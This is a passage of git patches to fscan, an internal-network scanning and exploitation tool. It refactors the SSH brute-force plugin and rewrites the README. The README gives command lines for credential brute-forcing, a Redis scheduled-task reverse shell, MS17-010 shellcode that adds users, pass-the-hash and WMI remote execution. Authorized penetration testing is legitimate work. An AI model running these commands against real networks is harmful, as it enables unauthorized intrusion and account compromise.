"fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "golang.org/x/crypto/ssh" "io/ioutil" "net" @@ -12,7 +11,7 @@ import ( ) // SshScan 执行SSH服务的认证扫描 -func SshScan(info *Config.HostInfo) (tmperr error) { +func SshScan(info *Common.HostInfo) (tmperr error) { if Common.IsBrute { return } @@ -59,7 +58,7 @@ func SshScan(info *Config.HostInfo) (tmperr error) { } // SshConn 尝试建立SSH连接并进行认证 -func SshConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { +func SshConn(info *Common.HostInfo, user string, pass string) (flag bool, err error) { // 准备认证方法 var auth []ssh.AuthMethod if Common.SshKey != "" { diff --git a/Plugins/SmbGhost.go b/Plugins/SmbGhost.go index ccc6603..bffdc8e 100644 --- a/Plugins/SmbGhost.go +++ b/Plugins/SmbGhost.go @@ -3,7 +3,6 @@ package Plugins import ( "bytes" "fmt" - "github.com/shadow1ng/fscan/Config" "time" "github.com/shadow1ng/fscan/Common" @@ -96,7 +95,7 @@ const ( ) // SmbGhost 检测SMB Ghost漏洞(CVE-2020-0796)的入口函数 -func SmbGhost(info *Config.HostInfo) error { +func SmbGhost(info *Common.HostInfo) error { // 如果开启了暴力破解模式,跳过该检测 if Common.IsBrute { return nil @@ -110,7 +109,7 @@ func SmbGhost(info *Config.HostInfo) error { } // SmbGhostScan 执行具体的SMB Ghost漏洞检测逻辑 -func SmbGhostScan(info *Config.HostInfo) error { +func SmbGhostScan(info *Common.HostInfo) error { // 设置扫描参数 ip := info.Host port := 445 // SMB服务默认端口 diff --git a/Plugins/WMIExec.go b/Plugins/WMIExec.go index cb31323..625355c 100644 --- a/Plugins/WMIExec.go +++ b/Plugins/WMIExec.go @@ -4,7 +4,6 @@ import ( "errors" "fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "os" "strings" "time" @@ -33,7 +32,7 @@ func init() { } // WmiExec 执行WMI远程命令 -func WmiExec(info *Config.HostInfo) (tmperr error) { +func WmiExec(info *Common.HostInfo) (tmperr error) { // 如果是暴力破解模式则跳过 if Common.IsBrute { return nil @@ -98,7 +97,7 @@ func WmiExec(info *Config.HostInfo) (tmperr error) { } // Wmiexec 包装WMI执行函数 -func Wmiexec(info *Config.HostInfo, user string, pass string, hash string) (flag bool, err error) { +func Wmiexec(info *Common.HostInfo, user string, pass string, hash string) (flag bool, err error) { target := fmt.Sprintf("%s:%v", info.Host, info.Ports) wmiexec.Timeout = int(Common.Timeout) return WMIExec(target, user, pass, hash, Common.Domain, Common.Command, ClientHost, "", nil) diff --git a/Plugins/WebTitle.go b/Plugins/WebTitle.go index 9e8d4f5..59eb76c 100644 --- a/Plugins/WebTitle.go +++ b/Plugins/WebTitle.go @@ -4,7 +4,6 @@ import ( "compress/gzip" "crypto/tls" "fmt" - "github.com/shadow1ng/fscan/Config" "io" "net/http" "net/url" @@ -20,7 +19,7 @@ import ( ) // WebTitle 获取Web标题并执行扫描 -func WebTitle(info *Config.HostInfo) error { +func WebTitle(info *Common.HostInfo) error { // 如果是webpoc扫描模式,直接执行WebScan if Common.Scantype == "webpoc" { WebScan.WebScan(info) @@ -52,7 +51,7 @@ func WebTitle(info *Config.HostInfo) error { } // GOWebTitle 获取网站标题并处理URL -func GOWebTitle(info *Config.HostInfo) (err error, CheckData []WebScan.CheckDatas) { +func GOWebTitle(info *Common.HostInfo) (err error, CheckData []WebScan.CheckDatas) { // 如果URL未指定,根据端口生成URL if info.Url == "" { switch info.Ports { @@ -120,7 +119,7 @@ func GOWebTitle(info *Config.HostInfo) (err error, CheckData []WebScan.CheckData // - error: 错误信息 // - string: 重定向URL或协议 // - []WebScan.CheckDatas: 更新后的检查数据 -func geturl(info *Config.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) { +func geturl(info *Common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) { // 处理目标URL Url := info.Url if flag == 2 { diff --git a/Plugins/fcgiscan.go b/Plugins/fcgiscan.go index 28b0e85..90165f1 100644 --- a/Plugins/fcgiscan.go +++ b/Plugins/fcgiscan.go @@ -7,7 +7,6 @@ import ( "errors" "fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "io" "strconv" "strings" @@ -20,7 +19,7 @@ import ( //https://github.com/wofeiwo/webcgi-exploits // FcgiScan 执行FastCGI服务器漏洞扫描 -func FcgiScan(info *Config.HostInfo) error { +func FcgiScan(info *Common.HostInfo) error { // 如果设置了暴力破解模式则跳过 if Common.IsBrute { return nil diff --git a/WebScan/WebScan.go b/WebScan/WebScan.go index 28ddba7..a28fced 100644 --- a/WebScan/WebScan.go +++ b/WebScan/WebScan.go @@ -4,7 +4,6 @@ import ( "embed" "fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/WebScan/lib" "net/http" "os" @@ -19,7 +18,7 @@ var once sync.Once var AllPocs []*lib.Poc // WebScan 执行Web漏洞扫描 -func WebScan(info *Config.HostInfo) { +func WebScan(info *Common.HostInfo) { // 确保POC只初始化一次 once.Do(initpoc) diff --git a/main.go b/main.go index 5d95fbb..f2c5bce 100644 --- a/main.go +++ b/main.go @@ -3,14 +3,13 @@ package main import ( "fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/Core" "time" ) func main() { start := time.Now() - var Info Config.HostInfo + var Info Common.HostInfo Common.Flag(&Info) Common.Parse(&Info) Core.Scan(Info) From 85778a977373959beca31494099a15d9ded3cf37 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 19:30:54 +0800 Subject: [PATCH 51/80] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96=E9=83=A8?= =?UTF-8?q?=E5=88=86=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Core/Scanner.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Core/Scanner.go b/Core/Scanner.go index 5267860..802291b 100644 --- a/Core/Scanner.go +++ b/Core/Scanner.go @@ -83,7 +83,7 @@ func Scan(info Common.HostInfo) { wg.Wait() Common.LogWG.Wait() close(Common.Results) - fmt.Printf("[✓] 扫描已完成: %v/%v\n", Common.End, Common.Num) + fmt.Printf("[+] 扫描已完成: %v/%v\n", Common.End, Common.Num) } // executeScanStrategy 执行端口扫描策略 From 1deeb8bb7199feae391b1602a7a7a9bce4ed652d Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 19:31:32 +0800 Subject: [PATCH 52/80] =?UTF-8?q?refactor:=20=E9=87=8D=E6=9E=84SSH?= =?UTF-8?q?=E6=89=AB=E6=8F=8F=E9=83=A8=E5=88=86=EF=BC=8C=E8=B6=85=E6=97=B6?= =?UTF-8?q?=E7=94=9F=E6=95=88?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/SSH.go | 207 ++++++++++++++++++++++++++++++++++++------------- 1 file changed, 155 insertions(+), 52 deletions(-) diff --git a/Plugins/SSH.go b/Plugins/SSH.go index 6a6d319..478f4a2 100644 --- a/Plugins/SSH.go +++ b/Plugins/SSH.go @@ -1,6 +1,7 @@ package Plugins import ( + "context" "fmt" "github.com/shadow1ng/fscan/Common" "golang.org/x/crypto/ssh" @@ -10,41 +11,75 @@ import ( "time" ) -// SshScan 执行SSH服务的认证扫描 func SshScan(info *Common.HostInfo) (tmperr error) { if Common.IsBrute { return } fmt.Println("[+] SSH扫描模块开始...") - startTime := time.Now().Unix() + // 增加全局扫描超时 + scanCtx, scanCancel := context.WithTimeout(context.Background(), time.Duration(Common.Timeout*2)*time.Second) + defer scanCancel() - // 遍历用户名和密码字典进行认证尝试 for _, user := range Common.Userdict["ssh"] { for _, pass := range Common.Passwords { + // 使用全局 context 创建子 context + ctx, cancel := context.WithTimeout(scanCtx, time.Duration(Common.Timeout)*time.Second) + // 替换密码中的用户名占位符 pass = strings.Replace(pass, "{user}", user, -1) + currentUser := user + currentPass := pass - success, err := SshConn(info, user, pass) - if success && err == nil { - return err + // 创建结果通道 + done := make(chan struct { + success bool + err error + }, 1) + + // 在 goroutine 中执行单次连接尝试 + go func() { + success, err := SshConn(ctx, info, currentUser, currentPass) + select { + case done <- struct { + success bool + err error + }{success, err}: + case <-ctx.Done(): + } + }() + + // 等待连接结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success { + cancel() + return err + } + case <-ctx.Done(): + err = fmt.Errorf("[-] 连接超时: %v", ctx.Err()) } + cancel() + // 记录失败信息 - errlog := fmt.Sprintf("[x] SSH认证失败 %v:%v User:%v Pass:%v Err:%v", - info.Host, info.Ports, user, pass, err) - Common.LogError(errlog) - tmperr = err + if err != nil { + errlog := fmt.Sprintf("[-] SSH认证失败 %v:%v User:%v Pass:%v Err:%v", + info.Host, info.Ports, currentUser, currentPass, err) + Common.LogError(errlog) + tmperr = err + } // 检查是否需要中断扫描 if Common.CheckErrs(err) { return err } - // 检查是否超时 - timeoutLimit := int64(len(Common.Userdict["ssh"])*len(Common.Passwords)) * Common.Timeout - if time.Now().Unix()-startTime > timeoutLimit { - return err + // 检查全局超时 + if scanCtx.Err() != nil { + return fmt.Errorf("扫描总时间超时: %v", scanCtx.Err()) } // 如果指定了SSH密钥,则不进行密码尝试 @@ -53,72 +88,140 @@ func SshScan(info *Common.HostInfo) (tmperr error) { } } } + fmt.Println("[+] SSH扫描模块结束...") return tmperr } -// SshConn 尝试建立SSH连接并进行认证 -func SshConn(info *Common.HostInfo, user string, pass string) (flag bool, err error) { +func SshConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (flag bool, err error) { // 准备认证方法 var auth []ssh.AuthMethod if Common.SshKey != "" { - // 使用SSH密钥认证 pemBytes, err := ioutil.ReadFile(Common.SshKey) if err != nil { - return false, fmt.Errorf("读取密钥失败: %v", err) + return false, fmt.Errorf("[-] 读取密钥失败: %v", err) } signer, err := ssh.ParsePrivateKey(pemBytes) if err != nil { - return false, fmt.Errorf("解析密钥失败: %v", err) + return false, fmt.Errorf("[-] 解析密钥失败: %v", err) } auth = []ssh.AuthMethod{ssh.PublicKeys(signer)} } else { - // 使用密码认证 auth = []ssh.AuthMethod{ssh.Password(pass)} } - // 配置SSH客户端 config := &ssh.ClientConfig{ - User: user, - Auth: auth, - Timeout: time.Duration(Common.Timeout) * time.Second, + User: user, + Auth: auth, HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error { return nil }, + Timeout: time.Duration(Common.Timeout) * time.Second, } - // 建立SSH连接 - client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", info.Host, info.Ports), config) - if err == nil { - defer client.Close() - session, err := client.NewSession() - if err == nil { - defer session.Close() - flag = true + // 使用带超时的 Dial + conn, err := (&net.Dialer{Timeout: time.Duration(Common.Timeout) * time.Second}).DialContext(ctx, "tcp", fmt.Sprintf("%v:%v", info.Host, info.Ports)) + if err != nil { + return false, err + } + defer conn.Close() - // 处理认证成功的情况 - if Common.Command != "" { - // 执行指定命令 - output, _ := session.CombinedOutput(Common.Command) - if Common.SshKey != "" { - Common.LogSuccess(fmt.Sprintf("[✓] SSH密钥认证成功 %v:%v\n命令输出:\n%v", - info.Host, info.Ports, string(output))) - } else { - Common.LogSuccess(fmt.Sprintf("[✓] SSH认证成功 %v:%v User:%v Pass:%v\n命令输出:\n%v", - info.Host, info.Ports, user, pass, string(output))) - } + // 设置连接超时 + if deadline, ok := ctx.Deadline(); ok { + conn.SetDeadline(deadline) + } + + // 创建一个新的 context 用于 SSH 握手 + sshCtx, sshCancel := context.WithTimeout(ctx, time.Duration(Common.Timeout)*time.Second) + defer sshCancel() + + // 使用 channel 来控制 SSH 握手的超时 + sshDone := make(chan struct { + client *ssh.Client + err error + }, 1) + + go func() { + sshConn, chans, reqs, err := ssh.NewClientConn(conn, fmt.Sprintf("%v:%v", info.Host, info.Ports), config) + if err != nil { + sshDone <- struct { + client *ssh.Client + err error + }{nil, err} + return + } + client := ssh.NewClient(sshConn, chans, reqs) + sshDone <- struct { + client *ssh.Client + err error + }{client, nil} + }() + + // 等待 SSH 握手完成或超时 + var client *ssh.Client + select { + case result := <-sshDone: + if result.err != nil { + return false, result.err + } + client = result.client + case <-sshCtx.Done(): + return false, fmt.Errorf("SSH握手超时: %v", sshCtx.Err()) + } + defer client.Close() + + // 创建会话 + session, err := client.NewSession() + if err != nil { + return false, err + } + defer session.Close() + + flag = true + + if Common.Command != "" { + // 执行命令的通道 + cmdDone := make(chan struct { + output []byte + err error + }, 1) + + go func() { + output, err := session.CombinedOutput(Common.Command) + select { + case cmdDone <- struct { + output []byte + err error + }{output, err}: + case <-ctx.Done(): + } + }() + + select { + case <-ctx.Done(): + return true, fmt.Errorf("命令执行超时: %v", ctx.Err()) + case result := <-cmdDone: + if result.err != nil { + return true, result.err + } + if Common.SshKey != "" { + Common.LogSuccess(fmt.Sprintf("[+] SSH密钥认证成功 %v:%v\n命令输出:\n%v", + info.Host, info.Ports, string(result.output))) } else { - // 仅记录认证成功 - if Common.SshKey != "" { - Common.LogSuccess(fmt.Sprintf("[✓] SSH密钥认证成功 %v:%v", - info.Host, info.Ports)) - } else { - Common.LogSuccess(fmt.Sprintf("[✓] SSH认证成功 %v:%v User:%v Pass:%v", - info.Host, info.Ports, user, pass)) - } + Common.LogSuccess(fmt.Sprintf("[+] SSH认证成功 %v:%v User:%v Pass:%v\n命令输出:\n%v", + info.Host, info.Ports, user, pass, string(result.output))) } } + } else { + if Common.SshKey != "" { + Common.LogSuccess(fmt.Sprintf("[+] SSH密钥认证成功 %v:%v", + info.Host, info.Ports)) + } else { + Common.LogSuccess(fmt.Sprintf("[+] SSH认证成功 %v:%v User:%v Pass:%v", + info.Host, info.Ports, user, pass)) + } } - return flag, err + + return flag, nil } From a0c648c5a204f78840e7867c4abb59d11abcee76 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 19:40:40 +0800 Subject: [PATCH 53/80] =?UTF-8?q?version:=202.0.0=E7=89=88=E6=9C=AC?= =?UTF-8?q?=E6=9B=B4=E6=96=B0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 396 +++++++++++++++++++++++++++++++----------------------- 1 file changed, 225 insertions(+), 171 deletions(-) diff --git a/README.md b/README.md index 696de4b..6062304 100644 --- a/README.md +++ b/README.md @@ -1,156 +1,189 @@ -# fscan +# Fscan 2.0.0 [English][url-docen] -# 1. 简介 -一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。 -支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。 +# 0x01 简介 +一款功能丰富的内网综合扫描工具,提供一键自动化、全方位的漏洞扫描能力。 -# 2. 主要功能 -1.信息搜集: -* 存活探测(icmp) -* 端口扫描 +## 主要功能 -2.爆破功能: -* 各类服务爆破(ssh、smb、rdp等) -* 数据库密码爆破(mysql、mssql、redis、psql、oracle等) +- 主机存活探测:快速识别内网中的活跃主机 +- 端口扫描:全面检测目标主机开放端口 +- 服务爆破:支持对常见服务进行密码爆破测试 +- 漏洞利用:集成MS17-010等高危漏洞检测 +- Redis利用:支持批量写入公钥进行权限获取 +- 系统信息收集:可读取Windows网卡信息 +- Web应用检测: + - Web指纹识别 + - Web漏洞扫描 +- 域环境探测: + - NetBIOS信息获取 + - 域控制器识别 +- 后渗透功能:支持通过计划任务实现反弹shell -3.系统信息、漏洞扫描: -* netbios探测、域控识别 -* 获取目标网卡信息 -* 高危漏洞扫描(ms17010等) +# 0x02 主要功能 +## 1. 信息搜集 +- 基于ICMP的主机存活探测:快速识别网络中的活跃主机设备 +- 全面的端口扫描:系统地检测目标主机的开放端口情况 -4.Web探测功能: -* webtitle探测 -* web指纹识别(常见cms、oa框架等) -* web漏洞扫描(weblogic、st2等,支持xray的poc) +## 2. 爆破功能 +- 常用服务密码爆破:支持SSH、SMB、RDP等多种协议的身份认证测试 +- 数据库密码爆破:覆盖MySQL、MSSQL、Redis、PostgreSQL、Oracle等主流数据库系统 -5.漏洞利用: -* redis写公钥或写计划任务 -* ssh命令执行 -* ms17017利用(植入shellcode),如添加用户等 +## 3. 系统信息与漏洞扫描 +- 网络信息收集:包括NetBIOS探测和域控制器识别 +- 系统信息获取:能够读取目标系统网卡配置信息 +- 安全漏洞检测:支持MS17-010等高危漏洞的识别与检测 -6.其他功能: -* 文件保存 +## 4. Web应用探测 +- 网站信息收集:自动获取网站标题信息 +- Web指纹识别:可识别常见CMS系统与OA框架 +- 漏洞扫描能力:集成WebLogic、Struts2等漏洞检测,兼容XRay POC -# 3. 使用说明 -简单用法 -``` -fscan.exe -h 192.168.1.1/24 (默认使用全部模块) -fscan.exe -h 192.168.1.1/16 (B段扫描) +## 5. 漏洞利用模块 +- Redis利用:支持写入公钥或植入计划任务 +- SSH远程执行:提供SSH命令执行功能 +- MS17-010利用:支持ShellCode注入,可实现添加用户等操作 + +## 6. 辅助功能 +- 扫描结果存储:将所有检测结果保存至文件,便于后续分析 + +# 0x03 使用说明 +## 基础用法 +```bash +# 默认扫描(使用全部模块) +fscan.exe -h 192.168.1.1/24 + +# B段扫描 +fscan.exe -h 192.168.1.1/16 ``` -其他用法 +## 进阶用法 + +### 扫描控制 +```bash +# 跳过存活检测、不保存文件、跳过web poc扫描 +fscan.exe -h 192.168.1.1/24 -np -no -nopoc + +# 指定扫描结果保存路径 +fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt + +# 从文件导入目标 +fscan.exe -hf ip.txt ``` -fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描) -fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥) -fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell) -fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行) -fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口) -fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破) -fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径) -fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 ) -fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞) -fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块) -fscan.exe -hf ip.txt (以文件导入) -fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080) -fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量) -fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描) -fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (只支持简单tcp功能的代理,部分功能的库不支持设置代理) -fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具) -fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (pth hash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4) -fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx (wmiexec无回显命令执行) + +### 特定功能 +```bash +# Redis利用 +fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub # 写公钥 +fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 # 计划任务反弹shell + +# SSH操作 +fscan.exe -h 192.168.1.1/24 -c whoami # SSH爆破成功后执行命令 + +# 密码爆破 +fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt # 指定用户名密码文件 +fscan.exe -h 192.168.1.1/24 -m smb -pwd password # SMB密码碰撞 ``` -编译命令 + +### 代理设置 +```bash +# HTTP代理 +fscan.exe -u http://baidu.com -proxy 8080 + +# SOCKS5代理 +fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 ``` + +### 特定漏洞检测 +```bash +# MS17-010检测 +fscan.exe -h 192.168.1.1/24 -m ms17010 + +# MS17-010利用 +fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add +``` + +## 编译说明 +```bash +# 基础编译 go build -ldflags="-s -w " -trimpath main.go -upx -9 fscan.exe (可选,压缩体积) -``` -arch用户安装 -`yay -S fscan-git 或者 paru -S fscan-git` -完整参数 -``` - -c string - ssh命令执行 - -cookie string - 设置cookie - -debug int - 多久没响应,就打印当前进度(default 60) - -domain string - smb爆破模块时,设置域名 - -h string - 目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12 - -hf string - 读取文件中的目标 - -hn string - 扫描时,要跳过的ip: -hn 192.168.1.1/24 - -m string - 设置扫描模式: -m ssh (default "all") - -no - 扫描结果不保存到文件中 - -nobr - 跳过sql、ftp、ssh等的密码爆破 - -nopoc - 跳过web poc扫描 - -np - 跳过存活探测 - -num int - web poc 发包速率 (default 20) - -o string - 扫描结果保存到哪 (default "result.txt") - -p string - 设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017") - -pa string - 新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口) - -path string - fcgi、smb romote file path - -ping - 使用ping代替icmp进行存活探测 - -pn string - 扫描时要跳过的端口,as: -pn 445 - -pocname string - 指定web poc的模糊名字, -pocname weblogic - -proxy string - 设置代理, -proxy http://127.0.0.1:8080 - -user string - 指定爆破时的用户名 - -userf string - 指定爆破时的用户名文件 - -pwd string - 指定爆破时的密码 - -pwdf string - 指定爆破时的密码文件 - -rf string - 指定redis写公钥用模块的文件 (as: -rf id_rsa.pub) - -rs string - redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666) - -silent - 静默扫描,适合cs扫描时不回显 - -sshkey string - ssh连接时,指定ssh私钥 - -t int - 扫描线程 (default 600) - -time int - 端口扫描超时时间 (default 3) - -u string - 指定Url扫描 - -uf string - 指定Url文件扫描 - -wt int - web访问超时时间 (default 5) - -pocpath string - 指定poc路径 - -usera string - 在原有用户字典基础上,新增新用户 - -pwda string - 在原有密码字典基础上,增加新密码 - -socks5 - 指定socks5代理 (as: -socks5 socks5://127.0.0.1:1080) - -sc - 指定ms17010利用模块shellcode,内置添加用户等功能 (as: -sc add) +# 使用UPX压缩(可选) +upx -9 fscan.exe ``` -# 4. 运行截图 +## Arch Linux安装 +```bash +# 使用yay +yay -S fscan-git + +# 或使用paru +paru -S fscan-git +``` + +# 0x04 参数说明 + +## 目标设置 +- `-h` : 设置目标IP + - 支持单个IP:`192.168.11.11` + - 支持IP范围:`192.168.11.11-255` + - 支持多个IP:`192.168.11.11,192.168.11.12` +- `-hf` : 从文件读取目标 +- `-hn` : 设置要排除的IP范围 +- `-u` : 指定单个URL扫描 +- `-uf` : 指定URL文件扫描 + +## 扫描控制 +- `-m` : 指定扫描模式,默认为"all" +- `-t` : 设置扫描线程数,默认600 +- `-time` : 端口扫描超时时间,默认3秒 +- `-wt` : Web访问超时时间,默认5秒 +- `-debug` : 设置进度打印间隔,默认60秒 +- `-silent` : 开启静默模式,适用于CS扫描 + +## 端口配置 +- `-p` : 指定扫描端口 + - 默认端口:21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017 +- `-pa` : 在默认端口基础上新增端口 +- `-pn` : 设置要排除的端口 + +## 爆破相关 +- `-user` : 指定用户名 +- `-userf` : 指定用户名文件 +- `-pwd` : 指定密码 +- `-pwdf` : 指定密码文件 +- `-usera` : 在默认用户字典基础上新增用户 +- `-pwda` : 在默认密码字典基础上新增密码 + +## Web相关 +- `-cookie` : 设置Cookie +- `-num` : Web POC发包速率,默认20 +- `-pocname` : 指定Web POC的模糊名称 +- `-pocpath` : 指定POC路径 + +## 代理设置 +- `-proxy` : 设置HTTP代理 +- `-socks5` : 设置SOCKS5代理 + +## 输出控制 +- `-o` : 设置结果保存路径,默认"result.txt" +- `-no` : 不保存扫描结果 +- `-nobr` : 跳过密码爆破 +- `-nopoc` : 跳过Web POC扫描 +- `-np` : 跳过存活探测 + +## 特殊功能 +- `-c` : SSH命令执行 +- `-domain` : SMB爆破时设置域名 +- `-rf` : Redis写公钥模块的文件路径 +- `-rs` : Redis计划任务反弹shell的IP端口 +- `-sshkey` : 指定SSH私钥路径 +- `-sc` : MS17010利用模块shellcode功能 + +## 存活探测 +- `-ping` : 使用ping代替ICMP进行存活探测 + +# 0x05 运行截图 `fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息)` ![](image/1.png) @@ -175,7 +208,7 @@ arch用户安装 `go run .\main.go -h 192.0.0.0/8 -m icmp(探测每个C段的网关和数个随机IP,并统计top 10 B、C段存活数量)` ![img.png](image/live.png) -# 5. 免责声明 +# 0x06 免责声明 本工具仅面向**合法授权**的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。 @@ -186,10 +219,11 @@ arch用户安装 如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。 在安装并使用本工具前,请您**务必审慎阅读、充分理解各条款内容**,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。 + 除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。 -# 6. 404StarLink 2.0 - Galaxy +# 0x07 404StarLink 2.0 - Galaxy ![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png) fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 中的一环,如果对fscan 有任何疑问又或是想要找小伙伴交流,可以参考星链计划的加群方式。 @@ -197,13 +231,13 @@ fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-G - [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community) 演示视频[【安全工具】5大功能,一键化内网扫描神器——404星链计划fscan](https://www.bilibili.com/video/BV1Cv4y1R72M) -# 7. Star Chart +# 0x08 Star Chart [![Stargazers over time](https://starchart.cc/shadow1ng/fscan.svg)](https://starchart.cc/shadow1ng/fscan) -# 8. 捐赠 +# 0x09 捐赠 如果你觉得这个项目对你有帮助,你可以请作者喝饮料🍹 [点我](image/sponsor.png) -# 9. 参考链接 +# 0x10 参考链接 https://github.com/Adminisme/ServerScan https://github.com/netxfly/x-crack https://github.com/hack2fun/Gscan @@ -211,36 +245,56 @@ https://github.com/k8gege/LadonGo https://github.com/jjf012/gopoc -# 10. 最近更新 -[+] 2023/11/13 加入控制台颜色输出(可-nocolor)、保存文件json结构(-json)、修改tls最低版本为1.0、端口分组(-p db,web,service)。 -[+] 2022/11/19 加入hash碰撞、wmiexec无回显命令执行。 -[+] 2022/7/14 -hf 支持host:port和host/xx:port格式,rule.Search 正则匹配范围从body改成header+body,-nobr不再包含-nopoc.优化webtitle 输出格式。 -[+] 2022/7/6 加入手工gc回收,尝试节省无用内存。 -url 支持逗号隔开。 修复一个poc模块bug。-nobr不再包含-nopoc。 -[+] 2022/7/2 加强poc fuzz模块,支持跑备份文件、目录、shiro-key(默认跑10key,可用-full参数跑100key)等。新增ms17017利用(使用参数: -sc add),可在ms17010-exp.go自定义shellcode,内置添加用户等功能。 -新增poc、指纹。支持socks5代理。因body指纹更全,默认不再跑ico图标。 -[+] 2022/4/20 poc模块加入指定目录或文件 -pocpath poc路径,端口可以指定文件-portf port.txt,rdp模块加入多线程爆破demo, -br xx指定线程。 -[+] 2022/2/25 新增-m webonly,跳过端口扫描,直接访问http。致谢@AgeloVito -[+] 2022/1/11 新增oracle密码爆破。 -[+] 2022/1/7 扫ip/8时,默认会扫每个C段的网关和数个随机IP,推荐参数:-h ip/8 -m icmp.新增LiveTop功能,检测存活时,默认会输出top10的B、C段ip存活数量。 -[+] 2021/12/7 新增rdp扫描,新增添加端口参数-pa 3389(会在原有端口列表基础上,新增该端口)。 -[+] 2021/12/1 优化xray解析模块,支持groups、新增poc,加入https判断(tls握手包),优化ip解析模块(支持所有ip/xx),增加爆破关闭参数 -nobr,添加跳过某些ip扫描功能 -hn 192.168.1.1,添加跳过某些端口扫描功能-pn 21,445,增加扫描docker未授权漏洞。 -[+] 2021/6/18 改善一下poc的机制,如果识别出指纹会根据指纹信息发送poc,如果没有识别到指纹才会把所有poc打一遍。 -[+] 2021/5/29 加入fcgi协议未授权命令执行扫描,优化poc模块,优化icmp模块,ssh模块加入私钥连接。 -[+] 2021/5/15 新增win03版本(删减了xray_poc模块),增加-silent 静默扫描模式,添加web指纹,修复netbios模块数组越界,添加一个CheckErrs字典,webtitle 增加gzip解码。 -[+] 2021/5/6 更新mod库、poc、指纹。修改线程处理机制、netbios探测、域控识别模块、webtitle编码模块等。 -[+] 2021/4/22 修改webtitle模块,加入gbk解码。 -[+] 2021/4/21 加入netbios探测、域控识别。 -[+] 2021/3/4 支持-u url或者-uf url.txt,对url进行批量扫描。 -[+] 2021/2/25 